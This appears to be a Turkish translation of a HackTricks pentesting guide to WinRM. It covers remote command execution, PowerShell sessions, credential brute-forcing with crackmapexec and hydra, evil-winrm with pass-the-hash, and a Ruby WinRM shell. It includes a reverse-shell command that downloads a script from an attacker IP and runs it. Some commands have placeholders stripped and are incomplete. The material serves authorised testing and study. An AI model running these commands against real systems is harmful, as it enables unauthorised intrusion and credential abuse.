# 5985,5986 - WinRM Pentesting
AWS hackleme hakkında sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin! HackTricks'ı desteklemenin diğer yolları: * Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. * **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **katkıda bulunun**.
Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın! **Hacking İçgörüleri**\ Hacking'in heyecanına ve zorluklarına dalmış içeriklerle etkileşim kurun **Gerçek Zamanlı Hack Haberleri**\ Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin **En Son Duyurular**\ Yeni ödül avcılarının başlatıldığı ve önemli platform güncellemelerinin olduğu en yeni duyurularla bilgilenin **Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın! ## WinRM [Windows Uzak Yönetimi (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx), Microsoft tarafından vurgulanan bir **protokoldür** ve HTTP(S) üzerinden SOAP kullanarak Windows sistemlerinin uzaktan yönetimini sağlar. Temel olarak WMI tarafından desteklenir ve WMI işlemleri için HTTP tabanlı bir arayüz olarak kendini sunar. Bir makinede WinRM'nin bulunması, diğer işletim sistemleri için SSH'nin nasıl çalıştığına benzer şekilde PowerShell aracılığıyla kolay bir uzaktan yönetim sağlar. WinRM'nin çalışıp çalışmadığını belirlemek için belirli portların açılıp açılmadığının kontrol edilmesi önerilir: * **5985/tcp (HTTP)** * **5986/tcp (HTTPS)** Yukarıdaki listeden açık bir port, WinRM'nin kurulduğunu ve dolayısıyla uzaktan oturum başlatma girişimlerine izin verildiğini gösterir. ### **WinRM Oturumu Başlatma** PowerShell'i WinRM için yapılandırmak için Microsoft'un `Enable-PSRemoting` cmdlet'i devreye girer ve bilgisayarı uzaktan PowerShell komutlarını kabul etmek üzere ayarlar. Yükseltilmiş PowerShell erişimi ile aşağıdaki komutlar kullanılarak bu işlevsellik etkinleştirilebilir ve herhangi bir ana bilgisayarı güvenilir olarak belirlenebilir: ```powershell Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` Bu yaklaşım, `trustedhosts` yapılandırmasına bir joker karakter eklemeyi içerir. Bu adım, sonuçlarından dolayı dikkatli bir şekilde düşünülmesi gereken bir adımdır. Ayrıca, saldırganın makinesinde ağ türünün "Public"den "Work"e değiştirilmesi gerekebileceği belirtilmektedir. Ayrıca, WinRM, aşağıdaki gibi gösterildiği gibi `wmic` komutu kullanılarak **uzaktan etkinleştirilebilir**: ```powershell wmic /node: process call create "powershell enable-psremoting -force" ``` Bu yöntem, Windows makinelerini uzaktan yönetme esnekliğini artırarak WinRM'nin uzaktan kurulumuna izin verir. ### Yapılandırıldığı Test Edilir Saldırı makinenizin yapılandırmasını doğrulamak için `Test-WSMan` komutu kullanılır ve hedefin WinRM'nin düzgün bir şekilde yapılandırılıp yapılandırılmadığını kontrol etmek için kullanılır. Bu komutu çalıştırarak, başarılı bir yapılandırmayı gösteren protokol sürümü ve wsmid hakkında ayrıntılar almanız beklenir. Aşağıda, yapılandırılmış bir hedefe karşı yapılandırılmamış bir hedef için beklenen çıktıyı gösteren örnekler bulunmaktadır: - Doğru şekilde yapılandırılmış bir hedef için çıktı aşağıdaki gibi olacaktır: ```bash Test-WSMan ``` Aşağıdaki yanıt, protokol sürümü ve wsmid hakkında bilgi içermeli ve bu, WinRM'nin doğru şekilde yapılandırıldığını göstermelidir. ![](<../.gitbook/assets/image (161) (1).png>) - Tersine, WinRM için yapılandırılmamış bir hedef için ayrıntılı bilgi olmadan sonuçlanır, bu da uygun bir WinRM yapılandırmasının olmadığını vurgular. ![](<../.gitbook/assets/image (162).png>) ### Bir komutu çalıştırma Bir hedef makinede uzaktan `ipconfig` komutunu çalıştırmak ve çıktısını görüntülemek için şunu yapın: ```powershell Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username] ``` ![](<../.gitbook/assets/image (163) (1).png>) Ayrıca, mevcut PS konsolunuzda bir komutu **Invoke-Command** ile çalıştırabilirsiniz. Diyelim ki yerel olarak _enumeration_ adında bir fonksiyonunuz var ve bunu uzaktaki bir bilgisayarda çalıştırmak istiyorsunuz, şunu yapabilirsiniz: ```powershell Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"] ``` To execute a script on a target machine using WinRM, you can use the `Invoke-Command` cmdlet in PowerShell. This cmdlet allows you to run commands or scripts on remote machines. Here is an example of how to execute a script using WinRM: ```powershell Invoke-Command -ComputerName -ScriptBlock { } ``` Replace `` with the IP address of the target machine and `` with the actual content of your script. Make sure that WinRM is enabled on the target machine and that you have the necessary permissions to execute scripts remotely. ```powershell Invoke-Command -ComputerName -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta] ``` ### Ters kabuk alın WinRM, Windows işletim sistemlerinde uzaktan yönetim sağlayan bir protokoldür. WinRM, birçok farklı işletim sistemi sürümünde varsayılan olarak etkinleştirilmiştir ve genellikle 5985 ve 5986 numaralı bağlantı noktalarını kullanır. WinRM üzerinde ters kabuk almak için aşağıdaki adımları izleyebilirsiniz: 1. İlk olarak, hedef Windows makinesine erişiminiz olmalıdır. Bu, hedef makineye doğrudan fiziksel erişim, aynı ağda bulunan bir makineden erişim veya hedef makineye bir exploit kullanarak erişim sağlamak olabilir. 2. WinRM'yi kullanarak ters kabuk almak için, hedef makinede WinRM hizmetinin etkinleştirilmiş olması gerekmektedir. Eğer etkinleştirilmemişse, hedef makinede WinRM hizmetini etkinleştirmeniz gerekecektir. 3. Ters kabuk almak için bir payload oluşturmanız gerekmektedir. Bu, genellikle bir ters kabuk payloadu oluşturan bir araç kullanılarak yapılır. Örneğin, Metasploit Framework veya PowerShell Empire gibi araçlar kullanılabilir. 4. Oluşturulan payload, hedef makineye gönderilmelidir. Bu, bir exploit kullanarak veya başka bir yöntemle yapılabilir. 5. Hedef makinede payload çalıştırıldığında, ters kabuk otomatik olarak oluşturulacak ve saldırganın kontrol paneline bağlanacaktır. Ters kabuk alma işlemi, hedef makinedeki yetkilendirme düzeyine bağlı olarak farklı şekillerde gerçekleştirilebilir. Örneğin, hedef makinede yönetici ayrıcalıklarına sahipseniz, tam yetkiyle çalışan bir ters kabuk alabilirsiniz. Ancak, sınırlı bir kullanıcı hesabıyla çalışıyorsanız, sınırlı yetkilere sahip bir ters kabuk almanız gerekecektir. Ters kabuk alma işlemi, yasal ve etik sınırlar içinde gerçekleştirilmelidir. Sadece yetkilendirilmiş sistemlerde ve izin alınmış ağlarda kullanılmalıdır. Aksi takdirde, yasal sonuçlarla karşılaşabilirsiniz. ```powershell Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"} ``` ### Bir PS oturumu alın Etkileşimli bir PowerShell kabuğu almak için `Enter-PSSession` komutunu kullanın: ```powershell #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) $creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password) # Enter Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username] ## Bypass proxy Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) # Save session in var $sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) Enter-PSSession $sess ## Background current PS session Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...) ``` ![](<../.gitbook/assets/image (164).png>) **Oturum, "hedef" içinde yeni bir işlemde (wsmprovhost) çalışacak** ### **WinRM'yi Zorlama** PS Remoting ve WinRM'yi kullanmak için bilgisayar yapılandırılmamış olsa bile, aşağıdaki komutu kullanarak etkinleştirebilirsiniz: ```powershell .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force" ``` ### Oturumları Kaydetme ve Geri Yükleme Bu, uzak bilgisayarda dil sınırlaması varsa **çalışmayacaktır**. ```powershell #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) $creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password) #You can save a session inside a variable $sess1 = New-PSSession -ComputerName [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)] #And restore it at any moment doing Enter-PSSession -Session $sess1 ``` Bu oturumlar içinde _Invoke-Command_ kullanarak PS komut dosyalarını yükleyebilirsiniz. ```powershell Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1 ``` ### Hatalar Aşağıdaki hatayı bulursanız: `enter-pssession : Uzak sunucuya 10.10.10.175 bağlantısı aşağıdaki hata ile başarısız oldu: WinRM istemcisi isteği işleyemez. Kimlik doğrulama şeması Kerberos'tan farklı ise veya istemci bilgisayarı bir etki alanına katılmamışsa, HTTPS taşıması kullanılmalı veya hedef makine Güvenilen Ana Makineler yapılandırma ayarına eklenmelidir. Güvenilen Ana Makineler listesindeki bilgisayarlar kimlik doğrulanmayabilir. Bu konuda daha fazla bilgi almak için aşağıdaki komutu çalıştırarak daha fazla bilgi alabilirsiniz: winrm help config. Daha fazla bilgi için about_Remote_Troubleshooting Yardım konusuna bakın.` İstemci üzerinde deneyin ([buradan](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server) bilgi alınmıştır): ```ruby winrm quickconfig winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' ```
Deneyimli hackerlar ve hata ödül avcılarıyla iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın! **Hacking İçgörüleri**\ Hacking'in heyecanına ve zorluklarına dalmış içeriklerle etkileşim kurun **Gerçek Zamanlı Hack Haberleri**\ Gerçek zamanlı haberler ve içgörüler aracılığıyla hızlı tempolu hacking dünyasında güncel kalın **En Son Duyurular**\ Yeni hata ödülleri ve önemli platform güncellemeleri hakkında bilgilendirilin Bize [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden katılın ve bugün en iyi hackerlarla işbirliği yapmaya başlayın! ## Linux'ta WinRM bağlantısı ### Brute Force Dikkatli olun, winrm brute force saldırıları kullanıcıları engelleyebilir. ```ruby #Brute force crackmapexec winrm -d -u usernames.txt -p passwords.txt #Just check a pair of credentials # Username + Password + CMD command execution crackmapexec winrm -d -u -p -x "whoami" # Username + Hash + PS command execution crackmapexec winrm -d -u -H -X '$PSVersionTable' #Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm ``` ### evil-winrm Kullanımı evil-winrm, Windows Remote Management (WinRM) protokolünü kötü niyetli amaçlarla kullanmak için kullanılan bir araçtır. Bu araç, bir hedef Windows makinesine yetkisiz erişim sağlamak için kullanılabilir. #### Kurulum evil-winrm'yi kullanmak için öncelikle Ruby programlama dilini ve gerekli bağımlılıklarını kurmanız gerekmektedir. Ardından, evil-winrm'yi Ruby Gem paket yöneticisi aracılığıyla yükleyebilirsiniz. ```plaintext gem install evil-winrm ``` #### Kullanım evil-winrm'yi kullanarak hedef bir Windows makinesine bağlanmak için aşağıdaki komutu kullanabilirsiniz: ```plaintext evil-winrm -i -u -p ``` Bu komutu çalıştırdıktan sonra, hedef Windows makinesine bağlanacak ve bir komut istemi alacaksınız. Artık hedef makine üzerinde komutlar çalıştırabilir ve sistemde istediğiniz değişiklikleri yapabilirsiniz. #### Örnek Kullanım Aşağıdaki örnek, evil-winrm'yi kullanarak hedef bir Windows makinesine bağlanmayı göstermektedir: ```plaintext evil-winrm -i 192.168.1.10 -u administrator -p P@ssw0rd ``` Bu komutu çalıştırdıktan sonra, hedef Windows makinesine bağlanacak ve administrator kullanıcısıyla oturum açacaksınız. Artık hedef makine üzerinde komutlar çalıştırabilir ve sistemde istediğiniz değişiklikleri yapabilirsiniz. ```ruby gem install evil-winrm ``` **Dökümantasyonu** GitHub üzerinden okuyun: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) ```ruby evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i / ``` **IPv6 adresi** ile bağlantı kurmak için evil-winrm kullanmak için, bir **etki alanı adını** IPv6 adresine ayarlayan bir giriş oluşturun ve o etki alanına bağlanın. ### evil-winrm ile hash geçirme ```ruby evil-winrm -u -H -i ``` ![](<../.gitbook/assets/image (173).png>) ### Bir PS-docker makinesi kullanma ``` docker run -it quickbreach/powershell-ntlm $creds = Get-Credential Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds ``` ### Bir ruby betiği kullanarak **Kod buradan alınmıştır: [https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm\_shell/)** ```ruby require 'winrm-fs' # Author: Alamot # To upload a file type: UPLOAD local_path remote_path # e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt # https://alamot.github.io/winrm_shell/ conn = WinRM::Connection.new( endpoint: 'https://IP:PORT/wsman', transport: :ssl, user: 'username', password: 'password', :no_ssl_peer_verification => true ) class String def tokenize self. split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/). select {|s| not s.empty? }. map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')} end end command="" file_manager = WinRM::FS::FileManager.new(conn) conn.shell(:powershell) do |shell| until command == "exit\n" do output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')") print(output.output.chomp) command = gets if command.start_with?('UPLOAD') then upload_command = command.tokenize print("Uploading " + upload_command[1] + " to " + upload_command[2]) file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path| puts("#{bytes_copied} bytes of #{total_bytes} bytes copied") end command = "echo `nOK`n" end output = shell.run(command) do |stdout, stderr| STDOUT.print(stdout) STDERR.print(stderr) end end puts("Exiting with code #{output.exitcode}") end ``` ## Shodan * `port:5985 Microsoft-HTTPAPI` ## Referanslar * [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/) ## HackTricks Otomatik Komutları ``` Protocol_Name: WinRM #Protocol Abbreviation if there is one. Port_Number: 5985 #Comma separated if there is more than one. Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for WinRM Note: | Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI. sudo gem install winrm winrm-fs colorize stringio git clone https://github.com/Hackplayers/evil-winrm.git cd evil-winrm ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’ https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/ ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/ ^^so you can upload binary's from that directory or -s to upload scripts (sherlock) menu invoke-binary `tab` #python3 import winrm s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret')) print(s.run_cmd('ipconfig')) print(s.run_ps('ipconfig')) https://book.hacktricks.xyz/pentesting/pentesting-winrm Entry_2: Name: Hydra Brute Force Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP} ```
Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın! **Hacking İçgörüleri**\ Hacking'in heyecanına ve zorluklarına dalmış içeriklerle etkileşim kurun **Gerçek Zamanlı Hack Haberleri**\ Gerçek zamanlı haberler ve içgörüler aracılığıyla hızlı tempolu hacking dünyasında güncel kalın **En Son Duyurular**\ Yeni ödül avcılarının başlatılması ve önemli platform güncellemeleri hakkında bilgi edinin **Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin! HackTricks'i desteklemenin diğer yolları: * Şirketinizi **HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** * Hacking hilelerinizi paylaşarak PR'lar göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.